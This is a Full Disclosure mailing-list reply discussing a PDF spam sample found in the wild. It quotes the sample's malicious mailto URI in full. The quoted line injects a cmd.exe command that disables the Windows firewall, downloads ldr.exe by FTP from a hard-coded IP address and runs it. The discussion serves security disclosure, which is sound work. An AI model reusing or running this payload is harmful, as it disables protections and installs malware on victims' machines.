Full Disclosure: Re: PDF mailto exploit in the wild

[Paul Szabo <psz () maths usyd edu au>]

Dear 3APA3A,

>  Messages  like  this  I've  got are PDF spam without attempt to exploit
>  something, and are spammed since July. Not sure about this one though.
You seem to have missed the line

obj<</URI(mailto:%/../../../../../../Windows/system32/cmd".exe""; /c /q \"@echo off&netsh firewall set opmode 
mode=disable&echo o 81.95.146.130>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start 
ldr.exe&\" \"&\" "nul.bat)/S/URI>>

within "my" PDF. Am not sure whether that would have worked, but is
unfriendly and not your average Viagra, sharemarket or porn message.
Some AV vendors recognize it, as shown by virustotal.

Cheers,

Paul Szabo   psz () maths usyd edu au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

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